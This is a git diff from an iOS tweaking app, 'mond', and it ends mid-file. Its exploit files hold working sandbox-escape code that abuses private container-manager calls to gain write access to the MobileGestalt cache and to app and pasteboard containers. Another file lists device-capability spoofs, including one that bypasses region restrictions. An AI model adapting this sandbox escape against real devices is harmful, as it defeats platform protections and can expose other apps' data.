_ value: UInt64) {} -private typealias set_bool_fn = @convention(c) (UnsafeMutableRawPointer?, Bool) -> Void -private typealias set_obj_fn = @convention(c) (UnsafeMutableRawPointer?, (any OS_xpc_object)?) -> Void - -private typealias get_res_fn = @convention(c) (UnsafeMutableRawPointer?) -> UnsafeMutableRawPointer? -private typealias get_tkn_fm = @convention(c) (UnsafeMutableRawPointer?) -> UnsafePointer? -private typealias get_path_fn = @convention(c) (UnsafeMutableRawPointer?) -> UnsafePointer? - -func load_sym(_ handle: UnsafeMutableRawPointer, _ name: String, fb: T? = nil, as: T.Type) -> T { - if let sym = dlsym(handle, name) { - return unsafeBitCast(sym, to: T.self) - } - - if let fb { - print("(cmg) missing symbol: \(name)") - return fb - } - - fatalError("(cmg) required symbol missing: '\(name)'") -} - -func cmg() -> Int64 { - guard let lib = dlopen("/usr/lib/system/libsystem_containermanager.dylib", RTLD_NOW) else { return -1 } - - let create = load_sym(lib, "container_query_create", as: create_fn.self) - let activate = load_sym(lib, "container_object_sandbox_extension_activate", as: activate_fn.self) - let free = load_sym(lib, "container_query_free", as: free_fn.self) - - let set_cls = load_sym(lib, "container_query_set_class", as: set_ui64_fn.self) - let set_tran = load_sym(lib, "container_query_set_transient", as: set_bool_fn.self) - let set_gids = load_sym(lib, "container_query_set_group_identifiers", as: set_obj_fn.self) - let set_plat = load_sym(lib, "container_query_operation_set_platform", as: set_ui64_fn.self) - let set_flag = load_sym(lib, "container_query_operation_set_flags", as: set_ui64_fn.self) - let set_part = load_sym(lib, "container_query_operation_set_part", fb: set_ui64_noop, as: set_ui64_fn.self) - - let get_res = load_sym(lib, "container_query_get_single_result", as: get_res_fn.self) - let get_tkn = load_sym(lib, "container_object_get_sandbox_token", as: get_tkn_fm.self) - let get_path = load_sym(lib, "container_object_get_path", as: get_path_fn.self) - - guard let q = create() else { return -1 } - set_cls(q, 13) - set_tran(q, false) - - let arr = xpc_array_create(nil, 0) - xpc_array_set_string(arr, XPC_ARRAY_APPEND, "systemgroup.com.apple.mobilegestaltcache") - set_gids(q, arr) - - set_plat(q, 2) - set_flag(q, (1 << 32) | (1 << 39)) - set_part(q, 3) - - guard let res = get_res(q) else { free(q); return -1 } - print("(cmg) result:", res) - let tkn = get_tkn(res) - print("(cmg) token:", tkn ?? "nil") - guard activate(res, true) else { free(q); return -1 } - - guard let c_path = get_path(res) else { free(q); return -1 } - let path = String(cString: c_path) - - free(q) - - let file = path + "/com.apple.MobileGestalt.plist" - g_fd = file.withCString { - Darwin.open($0, O_WRONLY | O_CLOEXEC | O_NOFOLLOW) - } - - let flags = Darwin.fcntl(g_fd, F_GETFL) - - if flags == -1 { - print("(cmg) fcntl failed:", errno) - print("(cmg)", is_supported() ? "exploit failed" : "exploit failed: unsupported iOS?") - } else { - print("(cmg) fd flags:", flags) - print("(cmg) write enabled:", (flags & O_ACCMODE) == O_WRONLY || (flags & O_ACCMODE) == O_RDWR) - } - - return Int64(g_fd) -} +// +// cmg.swift +// mond +// +// Created by roooot on 16.07.26. +// Copyright (C) 2026 roooot +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU Affero General Public License as published +// by the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// You can find the full license text at: +// https://www.gnu.org/licenses/agpl-3.0.html +// + +import Foundation +import XPC + +var g_fd: Int32 = -1 + +private typealias create_fn = @convention(c) () -> UnsafeMutableRawPointer? +private typealias activate_fn = @convention(c) (UnsafeMutableRawPointer?, Bool) -> Bool +private typealias free_fn = @convention(c) (UnsafeMutableRawPointer?) -> Void + +private typealias set_ui64_fn = @convention(c) (UnsafeMutableRawPointer?, UInt64) -> Void +private func set_ui64_noop(_ q: UnsafeMutableRawPointer?, _ value: UInt64) {} +private typealias set_bool_fn = @convention(c) (UnsafeMutableRawPointer?, Bool) -> Void +private typealias set_obj_fn = @convention(c) (UnsafeMutableRawPointer?, (any OS_xpc_object)?) -> Void + +private typealias get_res_fn = @convention(c) (UnsafeMutableRawPointer?) -> UnsafeMutableRawPointer? +private typealias get_tkn_fm = @convention(c) (UnsafeMutableRawPointer?) -> UnsafePointer? +private typealias get_path_fn = @convention(c) (UnsafeMutableRawPointer?) -> UnsafePointer? + +func load_sym(_ handle: UnsafeMutableRawPointer, _ name: String, fb: T? = nil, as: T.Type) -> T { + if let sym = dlsym(handle, name) { + return unsafeBitCast(sym, to: T.self) + } + + if let fb { + print("(cmg) missing symbol: \(name)") + return fb + } + + fatalError("(cmg) required symbol missing: '\(name)'") +} + +func cmg() -> Int64 { + guard let lib = dlopen("/usr/lib/system/libsystem_containermanager.dylib", RTLD_NOW) else { return -1 } + + let create = load_sym(lib, "container_query_create", as: create_fn.self) + let activate = load_sym(lib, "container_object_sandbox_extension_activate", as: activate_fn.self) + let free = load_sym(lib, "container_query_free", as: free_fn.self) + + let set_cls = load_sym(lib, "container_query_set_class", as: set_ui64_fn.self) + let set_tran = load_sym(lib, "container_query_set_transient", as: set_bool_fn.self) + let set_gids = load_sym(lib, "container_query_set_group_identifiers", as: set_obj_fn.self) + let set_plat = load_sym(lib, "container_query_operation_set_platform", as: set_ui64_fn.self) + let set_flag = load_sym(lib, "container_query_operation_set_flags", as: set_ui64_fn.self) + let set_part = load_sym(lib, "container_query_operation_set_part", fb: set_ui64_noop, as: set_ui64_fn.self) + + let get_res = load_sym(lib, "container_query_get_single_result", as: get_res_fn.self) + let get_tkn = load_sym(lib, "container_object_get_sandbox_token", as: get_tkn_fm.self) + let get_path = load_sym(lib, "container_object_get_path", as: get_path_fn.self) + + guard let q = create() else { return -1 } + set_cls(q, 13) + set_tran(q, false) + + let arr = xpc_array_create(nil, 0) + xpc_array_set_string(arr, XPC_ARRAY_APPEND, "systemgroup.com.apple.mobilegestaltcache") + set_gids(q, arr) + + set_plat(q, 2) + set_flag(q, (1 << 32) | (1 << 39)) + set_part(q, 3) + + guard let res = get_res(q) else { free(q); return -1 } + print("(cmg) result:", res) + let tkn = get_tkn(res) + print("(cmg) token:", tkn ?? "nil") + guard activate(res, true) else { free(q); return -1 } + + guard let c_path = get_path(res) else { free(q); return -1 } + let path = String(cString: c_path) + + free(q) + + let file = path + "/com.apple.MobileGestalt.plist" + g_fd = file.withCString { + Darwin.open($0, O_WRONLY | O_CLOEXEC | O_NOFOLLOW) + } + + let flags = Darwin.fcntl(g_fd, F_GETFL) + + if flags == -1 { + print("(cmg) fcntl failed:", errno) + print("(cmg)", is_supported() ? "exploit failed" : "exploit failed: unsupported iOS?") + } else { + print("(cmg) fd flags:", flags) + print("(cmg) write enabled:", (flags & O_ACCMODE) == O_WRONLY || (flags & O_ACCMODE) == O_RDWR) + } + + return Int64(g_fd) +} diff --git a/mond/exploit/unsbx.swift b/mond/exploit/unsbx.swift index 24e5eb7..ea4e8af 100644 --- a/mond/exploit/unsbx.swift +++ b/mond/exploit/unsbx.swift @@ -1,146 +1,146 @@ -// -// unsbx.swift -// mond -// -// Created by ruter on 11.08.26. -// - -import Foundation - -private var list_cache: [String: [String]] = [:] -private let list_cache_lock = NSLock() - -func grant_access(_ path: String, probe_leaf: String?, msg: String) -> Int64 { - var path_c = path.utf8CString.map { Int8($0) } - let handle: Int64 - - if let probe_leaf { - var probe_c = probe_leaf.utf8CString.map { Int8($0) } - handle = bad_query(&path_c, false, nil, false, &probe_c) - } else { - handle = bad_query(&path_c, false, nil, false, nil) - } - - switch handle { - case -1: - print("(bq) failed to resolve one or more functions") - case -2: - print("(bq) failed to create sandbox query") - case -3: - print("(bq) outside of containermanager's sandbox") - case -4: - print("(bq) kernel rejected sandbox query") - default: - print("(bq) \(msg) handle: \(handle)") - } - - return handle -} - -func grant_mg() -> Int64 { - return grant_access(TweakPaths.gestalt_dir, probe_leaf: "com.apple.MobileGestalt.plist", msg: "granted mg access!") -} - -func list_containers(_ root: String) -> [String] { - var norm = root - if norm.hasPrefix("/private/") { norm.removeFirst("/private/".count - 1) } - if norm.hasSuffix("/") { norm.removeLast() } - - list_cache_lock.lock() - defer { list_cache_lock.unlock() } - - if let cached = list_cache[norm] { - return cached - } - - var path_c = norm.utf8CString.map { Int8($0) } - guard let raw = bad_query_list(&path_c, 2_000_000) else { return [] } - defer { free(raw) } - - let list = String(cString: raw) - .split(whereSeparator: \.isNewline) - .map(String.init) - .filter { !$0.isEmpty } - - list_cache[norm] = list - return list -} - -func grant_pb() -> Int64 { - do { - let container = try pb.find_pb_container() - let probe_dir = pb.descriptors_url(container: container, ext: pb.collections_ext) - _ = try? pb.ensure_directory(at: probe_dir.path) - - var path_c = probe_dir.path.utf8CString.map { Int8($0) } - let handle = bad_query(&path_c, true, nil, false, nil) - - if handle >= 0 { - print("(bq) granted pb access! handle: \(handle)") - return handle - } - - print("(bq) kernel rejected sandbox query for \(probe_dir.path)") - return handle - } catch { - print("(pb) failed to find pb container: \(error.localizedDescription)") - return -1 - } -} - -func grant_apps() -> Int64 { - for root in pb.container_roots { - let children = list_containers(root) - guard let target = children.first else { continue } - - var path_c = target.utf8CString.map { Int8($0) } - let handle = bad_query(&path_c, true, nil, false, nil) - - if handle >= 0 { - print("(bq) granted apps container access to \(target) handle: \(handle)") - } else { - print("(bq) kernel rejected sandbox query for \(target)") - } - - return handle - } - - print("(bq) no app containers found") - return -1 -} - -func grant_all(state: AppState) { - if UserDefaults.standard.string(forKey: "method") == "cmg" { - let result = cmg() - state.mg_granted = result >= 0 - state.pb_granted = false - state.apps_granted = false - state.exploit_succeeded = result >= 0 - return - } - - state.pb_granted = nil - state.granting_pb = true - state.apps_granted = nil - state.granting_apps = true - state.mg_granted = nil - state.granting_mg = true - - DispatchQueue.global(qos: .userInitiated).async { - _ = list_containers(TweakPaths.apps) - - let mg = grant_mg() - let pb = grant_pb() - let apps = grant_apps() - - DispatchQueue.main.async { - state.granting_pb = false - state.pb_granted = pb >= 0 - state.granting_apps = false - state.apps_granted = apps >= 0 - state.granting_mg = false - state.mg_granted = mg >= 0 - state.exploit_succeeded = mg >= 0 && apps >= 0 && pb >= 0 - } - } -} +// +// unsbx.swift +// mond +// +// Created by ruter on 11.08.26. +// + +import Foundation + +private var list_cache: [String: [String]] = [:] +private let list_cache_lock = NSLock() + +func grant_access(_ path: String, probe_leaf: String?, msg: String) -> Int64 { + var path_c = path.utf8CString.map { Int8($0) } + let handle: Int64 + + if let probe_leaf { + var probe_c = probe_leaf.utf8CString.map { Int8($0) } + handle = bad_query(&path_c, false, nil, false, &probe_c) + } else { + handle = bad_query(&path_c, false, nil, false, nil) + } + + switch handle { + case -1: + print("(bq) failed to resolve one or more functions") + case -2: + print("(bq) failed to create sandbox query") + case -3: + print("(bq) outside of containermanager's sandbox") + case -4: + print("(bq) kernel rejected sandbox query") + default: + print("(bq) \(msg) handle: \(handle)") + } + + return handle +} + +func grant_mg() -> Int64 { + return grant_access(TweakPaths.gestalt_dir, probe_leaf: "com.apple.MobileGestalt.plist", msg: "granted mg access!") +} + +func list_containers(_ root: String) -> [String] { + var norm = root + if norm.hasPrefix("/private/") { norm.removeFirst("/private/".count - 1) } + if norm.hasSuffix("/") { norm.removeLast() } + + list_cache_lock.lock() + defer { list_cache_lock.unlock() } + + if let cached = list_cache[norm] { + return cached + } + + var path_c = norm.utf8CString.map { Int8($0) } + guard let raw = bad_query_list(&path_c, 2_000_000) else { return [] } + defer { free(raw) } + + let list = String(cString: raw) + .split(whereSeparator: \.isNewline) + .map(String.init) + .filter { !$0.isEmpty } + + list_cache[norm] = list + return list +} + +func grant_pb() -> Int64 { + do { + let container = try pb.find_pb_container() + let probe_dir = pb.descriptors_url(container: container, ext: pb.collections_ext) + _ = try? pb.ensure_directory(at: probe_dir.path) + + var path_c = probe_dir.path.utf8CString.map { Int8($0) } + let handle = bad_query(&path_c, true, nil, false, nil) + + if handle >= 0 { + print("(bq) granted pb access! handle: \(handle)") + return handle + } + + print("(bq) kernel rejected sandbox query for \(probe_dir.path)") + return handle + } catch { + print("(pb) failed to find pb container: \(error.localizedDescription)") + return -1 + } +} + +func grant_apps() -> Int64 { + for root in pb.container_roots { + let children = list_containers(root) + guard let target = children.first else { continue } + + var path_c = target.utf8CString.map { Int8($0) } + let handle = bad_query(&path_c, true, nil, false, nil) + + if handle >= 0 { + print("(bq) granted apps container access to \(target) handle: \(handle)") + } else { + print("(bq) kernel rejected sandbox query for \(target)") + } + + return handle + } + + print("(bq) no app containers found") + return -1 +} + +func grant_all(state: AppState) { + if UserDefaults.standard.string(forKey: "method") == "cmg" { + let result = cmg() + state.mg_granted = result >= 0 + state.pb_granted = false + state.apps_granted = false + state.exploit_succeeded = result >= 0 + return + } + + state.pb_granted = nil + state.granting_pb = true + state.apps_granted = nil + state.granting_apps = true + state.mg_granted = nil + state.granting_mg = true + + DispatchQueue.global(qos: .userInitiated).async { + _ = list_containers(TweakPaths.apps) + + let mg = grant_mg() + let pb = grant_pb() + let apps = grant_apps() + + DispatchQueue.main.async { + state.granting_pb = false + state.pb_granted = pb >= 0 + state.granting_apps = false + state.apps_granted = apps >= 0 + state.granting_mg = false + state.mg_granted = mg >= 0 + state.exploit_succeeded = mg >= 0 && apps >= 0 && pb >= 0 + } + } +} \ No newline at end of file diff --git a/mond/helpers/Bundle+Language.swift b/mond/helpers/Bundle+Language.swift new file mode 100644 index 0000000..b994be4 --- /dev/null +++ b/mond/helpers/Bundle+Language.swift @@ -0,0 +1,32 @@ +import Foundation +import ObjectiveC + +private var associatedBundleKey: UInt8 = 0 + +private final class LanguageBundle: Bundle, @unchecked Sendable { + override func localizedString(forKey key: String, value: String?, table tableName: String?) -> String { + guard let bundle = objc_getAssociatedObject(self, &associatedBundleKey) as? Bundle else { + return super.localizedString(forKey: key, value: value, table: tableName) + } + return bundle.localizedString(forKey: key, value: value, table: tableName) + } +} + +extension Bundle { + private static let mond_swizzleOnce: Void = { + object_setClass(Bundle.main, LanguageBundle.self) + }() + + static func mond_setLanguage(_ code: String?) { + _ = mond_swizzleOnce + + guard let code, + let path = Bundle.main.path(forResource: code, ofType: "lproj"), + let overrideBundle = Bundle(path: path) else { + objc_setAssociatedObject(Bundle.main, &associatedBundleKey, nil, .OBJC_ASSOCIATION_RETAIN) + return + } + + objc_setAssociatedObject(Bundle.main, &associatedBundleKey, overrideBundle, .OBJC_ASSOCIATION_RETAIN) + } +} \ No newline at end of file diff --git a/mond/helpers/LanguageManager.swift b/mond/helpers/LanguageManager.swift new file mode 100644 index 0000000..270afda --- /dev/null +++ b/mond/helpers/LanguageManager.swift @@ -0,0 +1,46 @@ +// +// LanguageManager.swift +// mond +// + +import Foundation +import Combine + +struct AppLanguage: Identifiable, Equatable { + let id: String + let nativeName: String + let localizationCredits: String + + static let system = AppLanguage(id: "system", nativeName: "", localizationCredits: "") + + static let supported: [AppLanguage] = [ + .system, + AppLanguage(id: "en", nativeName: "English", localizationCredits: "Made by rooootdev"), + AppLanguage(id: "ru", nativeName: "Русский", localizationCredits: "Made by Hikariman"), + AppLanguage(id: "es", nativeName: "Español", localizationCredits: "Made by usedoperative-sudo / by AI(50%)"), + AppLanguage(id: "it", nativeName: "Italiano", localizationCredits: "Made by AI(100%)"), + AppLanguage(id: "uk", nativeName: "Українська", localizationCredits: "Made by Hikariman, Hikariman's brother and fUnGuN\nSorry for skill issue"), + AppLanguage(id: "sr", nativeName: "Srpski", localizationCredits: "Made by Hikariman"), + ] +} + +@MainActor +final class LanguageManager: ObservableObject { + static let shared = LanguageManager() + + private static let storageKey = "app_language" + + @Published private(set) var current: String + + private init() { + current = UserDefaults.standard.string(forKey: Self.storageKey) ?? "system" + Bundle.mond_setLanguage(current == "system" ? nil : current) + } + + func select(_ code: String) { + guard code != current else { return } + current = code + UserDefaults.standard.set(code, forKey: Self.storageKey) + Bundle.mond_setLanguage(code == "system" ? nil : code) + } +} \ No newline at end of file diff --git a/mond/helpers/LocalizationOverrides/AlertinatorLocalized.swift b/mond/helpers/LocalizationOverrides/AlertinatorLocalized.swift new file mode 100644 index 0000000..027d5ac --- /dev/null +++ b/mond/helpers/LocalizationOverrides/AlertinatorLocalized.swift @@ -0,0 +1,82 @@ +import Foundation +import UIKit + +@MainActor +public class AlertinatorLocalized { + public static let shared = AlertinatorLocalized() + + var alertController: UIAlertController? + + public func alert(title: String, body: String, showCancel: Bool = true) { + Task { @MainActor in + alertController = UIAlertController(title: title,message: body,preferredStyle: .alert) + if showCancel { + alertController?.addAction(.init(title: "OK", style: .cancel)) + } + alertController?.view.tintColor = UIColor(named: "AccentColor") + self.present(alertController!) + } + } + + public func alert(title: String,body: String,showCancel: Bool = true,actionLabel: String = "OK",action: @escaping () -> Void) { + Task { @MainActor in + alertController = UIAlertController(title: title,message: body,preferredStyle: .alert) + alertController?.addAction( .init(title: actionLabel, style: .default) { _ in + action() + }) + if showCancel { + alertController?.addAction(.init(title: NSLocalizedString("cancel", comment: ""),style: .cancel )) + } + alertController?.view.tintColor = UIColor(named: "AccentColor") + self.present(alertController!) + } + } + + public func prompt(title: String,placeholder: String = "",text: String = "",showCancel: Bool = true,completion: @escaping (String?) async -> Void) { + Task { @MainActor in + alertController = UIAlertController(title: title,message: nil,preferredStyle: .alert) + alertController?.addTextField { field in + if !placeholder.isEmpty { + field.placeholder = placeholder + } + if !text.isEmpty { + field.text = text + } + } + if showCancel { + alertController?.addAction( + UIAlertAction(title: NSLocalizedString("cancel", comment: ""), style: .cancel) { _ in + Task { + await completion(nil) + } + } + ) + } + alertController?.addAction(UIAlertAction(title: "OK", style: .default) { _ in + let field = self.alertController?.textFields?.first + + Task { + await completion(field?.text) + } + } + ) + + alertController?.view.tintColor = UIColor(named: "AccentColor") + self.present(alertController!) + } + } + + @MainActor + private func present(_ alert: UIAlertController) { + if let windowScene = UIApplication.shared.connectedScenes.first as? UIWindowScene, + let window = windowScene.windows.first, + var topController = window.rootViewController { + + while let presentedViewController = topController.presentedViewController { + topController = presentedViewController + } + + topController.present(alert, animated: true) + } + } +} \ No newline at end of file diff --git a/mond/helpers/keepalive.swift b/mond/helpers/keepalive.swift index 6ba9c99..e38af96 100644 --- a/mond/helpers/keepalive.swift +++ b/mond/helpers/keepalive.swift @@ -1,50 +1,50 @@ -// -// keepalive.swift -// JESSI -// -// Created by ruter on 22.12.25. -// - -import AVFoundation -import UIKit - -private var _player: AVAudioPlayer? -private var _timer: Timer? - -public func keep_alive() { - guard _player == nil else { return } - try? AVAudioSession.sharedInstance().setCategory(.playback, options: .mixWithOthers) - try? AVAudioSession.sharedInstance().setActive(true) - - let sr = 8000, samples = Int(Double(sr) * 0.5) - var w = Data("RIFF".utf8) - w += withUnsafeBytes(of: UInt32(36 + samples * 2).littleEndian) { Data($0) } - w += Data("WAVEfmt ".utf8) - w += withUnsafeBytes(of: UInt32(16).littleEndian) { Data($0) } - w += withUnsafeBytes(of: UInt16(1).littleEndian) { Data($0) } - w += withUnsafeBytes(of: UInt16(1).littleEndian) { Data($0) } - w += withUnsafeBytes(of: UInt32(sr).littleEndian) { Data($0) } - w += withUnsafeBytes(of: UInt32(sr * 2).littleEndian) { Data($0) } - w += withUnsafeBytes(of: UInt16(2).littleEndian) { Data($0) } - w += withUnsafeBytes(of: UInt16(16).littleEndian) { Data($0) } - w += Data("data".utf8) - w += withUnsafeBytes(of: UInt32(samples * 2).littleEndian) { Data($0) } - w += Data(count: samples * 2) - - _player = try? AVAudioPlayer(data: w) - _player?.volume = 0 - _player?.numberOfLoops = -1 - _player?.play() - - _timer = Timer.scheduledTimer(withTimeInterval: 0.5, repeats: true) { _ in - _player?.play() - } - - print("(ka) keep alive started") -} - -public func let_die() { - _timer?.invalidate(); _timer = nil - _player?.stop(); _player = nil - print("(ka) keep alive stopped") -} +// +// keepalive.swift +// JESSI +// +// Created by ruter on 22.12.25. +// + +import AVFoundation +import UIKit + +private var _player: AVAudioPlayer? +private var _timer: Timer? + +public func keep_alive() { + guard _player == nil else { return } + try? AVAudioSession.sharedInstance().setCategory(.playback, options: .mixWithOthers) + try? AVAudioSession.sharedInstance().setActive(true) + + let sr = 8000, samples = Int(Double(sr) * 0.5) + var w = Data("RIFF".utf8) + w += withUnsafeBytes(of: UInt32(36 + samples * 2).littleEndian) { Data($0) } + w += Data("WAVEfmt ".utf8) + w += withUnsafeBytes(of: UInt32(16).littleEndian) { Data($0) } + w += withUnsafeBytes(of: UInt16(1).littleEndian) { Data($0) } + w += withUnsafeBytes(of: UInt16(1).littleEndian) { Data($0) } + w += withUnsafeBytes(of: UInt32(sr).littleEndian) { Data($0) } + w += withUnsafeBytes(of: UInt32(sr * 2).littleEndian) { Data($0) } + w += withUnsafeBytes(of: UInt16(2).littleEndian) { Data($0) } + w += withUnsafeBytes(of: UInt16(16).littleEndian) { Data($0) } + w += Data("data".utf8) + w += withUnsafeBytes(of: UInt32(samples * 2).littleEndian) { Data($0) } + w += Data(count: samples * 2) + + _player = try? AVAudioPlayer(data: w) + _player?.volume = 0 + _player?.numberOfLoops = -1 + _player?.play() + + _timer = Timer.scheduledTimer(withTimeInterval: 0.5, repeats: true) { _ in + _player?.play() + } + + print("(ka) keep alive started") +} + +public func let_die() { + _timer?.invalidate(); _timer = nil + _player?.stop(); _player = nil + print("(ka) keep alive stopped") +} diff --git a/mond/helpers/mg.swift b/mond/helpers/mg.swift index a05d033..0441a2f 100644 --- a/mond/helpers/mg.swift +++ b/mond/helpers/mg.swift @@ -1,718 +1,716 @@ -// -// mg.swift -// mond -// -// Created by ruter on 16.07.26. -// - -import SwiftUI -import PartyUI -import Darwin -import MachO -import UIKit - -struct mg_tweak { - let title: String - let minv: Double? - let info_t: InfoType? - let info_msg: String? - - let r: (NSMutableDictionary) -> Bool - let w_on: (NSMutableDictionary) -> Void - let w_off: (NSMutableDictionary) -> Void - - enum InfoType { - case info - case warning - case error - } -} - -extension mg_tweak { - private static func cache_extra(_ dict: NSMutableDictionary) -> NSMutableDictionary? { - if let extra = dict["CacheExtra"] as? NSMutableDictionary { - return extra - } - guard let extra = dict["CacheExtra"] as? NSDictionary else { return nil } - let mutable = NSMutableDictionary(dictionary: extra) - dict["CacheExtra"] = mutable - return mutable - } - - init(title: String, minv: Double? = nil, key: String, value: T) { - self.init( - title: title, - minv: minv, - info_t: nil, - info_msg: nil, - r: { dict in - guard let extra = dict["CacheExtra"] as? NSDictionary else { return false } - return extra[key] as? T == value - }, - w_on: { dict in - guard let extra = Self.cache_extra(dict) else { return } - extra[key] = value - }, - w_off: { dict in - guard let extra = Self.cache_extra(dict) else { return } - extra.removeObject(forKey: key) - } - ) - } - - init(title: String, minv: Double? = nil, keys: [String], value: T) { - self.init( - title: title, - minv: minv, - info_t: nil, - info_msg: nil, - r: { dict in - guard let extra = dict["CacheExtra"] as? NSDictionary, - let key = keys.first - else { - return false - } - return extra[key] as? T == value - }, - w_on: { dict in - guard let extra = Self.cache_extra(dict) else { return } - for key in keys { - extra[key] = value - } - }, - w_off: { dict in - guard let extra = Self.cache_extra(dict) else { return } - for key in keys { - extra.removeObject(forKey: key) - } - } - ) - } - - init(title: String, minv: Double? = nil, key: String, value: T, info_t: InfoType, info_msg: String) { - self.init( - title: title, - minv: minv, - info_t: info_t, - info_msg: info_msg, - r: { dict in - guard let extra = dict["CacheExtra"] as? NSDictionary else { return false } - return extra[key] as? T == value - }, - w_on: { dict in - guard let extra = Self.cache_extra(dict) else { return } - extra[key] = value - }, - w_off: { dict in - guard let extra = Self.cache_extra(dict) else { return } - extra.removeObject(forKey: key) - } - ) - } - - init(title: String, minv: Double? = nil, keys: [String], value: T, info_t: InfoType, info_msg: String) { - self.init( - title: title, - minv: minv, - info_t: info_t, - info_msg: info_msg, - r: { dict in - guard let extra = dict["CacheExtra"] as? NSDictionary, - let key = keys.first - else { - return false - } - return extra[key] as? T == value - }, - w_on: { dict in - guard let extra = Self.cache_extra(dict) else { return } - for key in keys { - extra[key] = value - } - }, - w_off: { dict in - guard let extra = Self.cache_extra(dict) else { return } - for key in keys { - extra.removeObject(forKey: key) - } - } - ) - } -} - -private let region_code_key = "h63QSdBCiT/z0WU6rdQv6Q" -private let region_info_key = "yK+xavymRGZ3xWc1tb8XDg" - -let all_tweaks: [mg_tweak] = [ - mg_tweak(title: "Enable Dynamic Island Capability", minv: 19.0, key: "YlEtTtHlNesRBMal1CqRaA", value: 1, info_t: .info, info_msg: "An alternate way to enable the Dynamic Island, as used by Nugget."), - mg_tweak(title: "Always-On Display", minv: 18.0, keys: ["2OOJf1VhaM7NxfRok3HbWQ", "j8/Omm6s1lsmTDFsXjsBfA"], value: 1, info_t: .warning, info_msg: "Can increase screen burn-in risk on devices that don't officially support it."), - mg_tweak(title: "AOD Vibrancy", minv: 18.0, key: "ykpu7qyhqFweVMKtxNylWA", value: 1, info_t: .info, info_msg: "Turn this on if your Always-On Display renders incorrectly."), - mg_tweak(title: "Disable Wallpaper Parallax", key: "UIParallaxCapability", value: 0, info_t: .info, info_msg: "Prevents the wallpaper from moving when you tilt or move the device."), - mg_tweak(title: "Enable Liquid Glass Low-Performance Mode", minv: 19.0, key: "SAGvsp6O6kAQ4fEfDJpC4Q", value: 1, info_t: .info, info_msg: "Intended for iOS 26 and newer."), - mg_tweak(title: "Disable Liquid Glass Low-Performance Mode", minv: 19.0, key: "SAGvsp6O6kAQ4fEfDJpC4Q", value: 0, info_t: .info, info_msg: "Don't use this at the same time as the option above."), - mg_tweak(title: "Boot & Shutdown Chime", key: "QHxt+hGLaBPbQJbXiUJX3w", value: 1, info_t: .info, info_msg: "Adds the chime sound when the device powers on or shuts down."), - mg_tweak(title: "Charge Limit Menu", minv: 17.0, key: "37NVydb//GP/GrhuTN+exg", value: 1, info_t: .info, info_msg: "Reveals the Settings menu; whether it actually limits charging depends on your hardware."), - mg_tweak(title: "Tap to Wake", key: "yZf3GTRMGTuwSV/lD7Cagw", value: 1, info_t: .info, info_msg: "Meant for devices like the iPhone SE where tapping to wake isn't otherwise available."), - mg_tweak(title: "iPhone 16 Camera Control Settings", minv: 18.0, keys: ["CwvKxM2cEogD3p+HYgaW0Q", "oOV1jhJbdV3AddkcCg0AEA"], value: 1, info_t: .info, info_msg: "Exposes the Camera Control settings and its related capabilities."), - mg_tweak(title: "Apple Pencil Settings", key: "yhHcB0iH0d1XzPO/CFd3ow", value: 1, info_t: .info, info_msg: "Reveals the Apple Pencil settings page."), - mg_tweak(title: "Action Button Settings", minv: 17.0, key: "cT44WE1EohiwRzhsZ8xEsw", value: 1, info_t: .info, info_msg: "Reveals the Action Button settings page."), - mg_tweak(title: "Collision SOS", key: "HCzWusHQwZDea6nNhaKndw", value: 1, info_t: .info, info_msg: "Reveals the collision detection options in the SOS settings."), - mg_tweak(title: "Pulse Width Modulation", minv: 19.0, key: "6IejgN+1Fmu5/QrZFOIeNw", value: 1), - mg_tweak(title: "Security Research Device Mode", minv: 26.0, key: "XYlJKKkj2hztRP1NWWnhlw", value: 1, info_t: .info, info_msg: "Flags the device as an Apple Security Research Device."), - mg_tweak(title: "Allow iPad Apps", key: "9MZ5AdH43csAUajl/dU+IQ", value: [1, 2], info_t: .info, info_msg: "Allows iPad apps to be installed on iPhone."), - mg_tweak(title: "Stage Manager Support", key: "qeaj75wk3HF4DwQ8qbIi7g", value: 1, info_t: .info, info_msg: "Flags the device as capable of Stage Manager."), - mg_tweak(title: "Apple Internal Install", key: "EqrsVvjcYDdxHBiQmGhAWw", value: 1, info_t: .warning, info_msg: "Turns on internal features like the Metal HUD; some services may act up."), - mg_tweak(title: "Internal Storage View", key: "LBJfwOEzExRxzlAnSuI7eg", value: 1, info_t: .warning, info_msg: "Displays internal files in the Storage settings; can be dangerous on some iPads."), - - mg_tweak( - title: "Disable Region Restrictions", - minv: nil, - info_t: .info, - info_msg: "This tweak may be broken or have no effect on some iOS versions or devices.", - r: { dict in - guard let cache_extra = dict["CacheExtra"] as? NSMutableDictionary else { return false } - return cache_extra[region_code_key] as? String == "LL" && - cache_extra[region_info_key] as? String == "LL/A" - }, - w_on: { dict in - guard let cache_extra = dict["CacheExtra"] as? NSMutableDictionary else { return } - Alertinator.shared.alert(title: "Warning!", body: "Please do not use this feature to bypass region restrictions that would equate to breaking regional laws (e.g. disabling the camera shutter sound). We will NOT be held responsible for enabling any illegal activites!") - cache_extra[region_code_key] = "LL" - cache_extra[region_info_key] = "LL/A" - }, - w_off: { dict in - guard let cache_extra = dict["CacheExtra"] as? NSMutableDictionary else { return } - cache_extra.removeObject(forKey: region_code_key) - cache_extra.removeObject(forKey: region_info_key) - } - ), - - mg_tweak( - title: "Apple Intelligence", - minv: 18.1, - info_t: .info, - info_msg: "How to use this tweak:\n1. Spoof to the model next to the first one supported by Apple Intelligence.\n2. Spoof back to your model.\n3. Spoof to your final model and you should see the Apple Intelligence icon in Settings.\n4. Connect iPhone to power and leave the Settings > Storage tab open for ~1 hour.\n\nNOTE: Do not spoof back.", - r: { dict in - guard let cache_extra = dict["CacheExtra"] as? NSMutableDictionary else { return false } - return (cache_extra["A62OafQ85EJAiiqKn4agtg"] as? Int) == 1 - }, - w_on: { dict in - guard let cache_extra = dict["CacheExtra"] as? NSMutableDictionary else { return } - cache_extra["A62OafQ85EJAiiqKn4agtg"] = 1 - Alertinator.shared.alert( - title: "Apple Intelligence Spoof", - body: "How to use this tweak:\n1. Spoof to the model next to the first one supported by Apple Intelligence.\n2. Spoof back to your model.\n3. Spoof to your final model and you should see the Apple Intelligence icon in Settings.\n4. Connect iPhone to power and leave the Settings > Storage tab open for ~1 hour.\n\nNOTE: Do not spoof back." - ) - }, - w_off: { dict in - guard let cache_extra = dict["CacheExtra"] as? NSMutableDictionary else { return } - cache_extra.removeObject(forKey: "A62OafQ85EJAiiqKn4agtg") - } - ), - - mg_tweak( - title: "Enable iPadOS Mode", - minv: nil, - info_t: .warning, - info_msg: 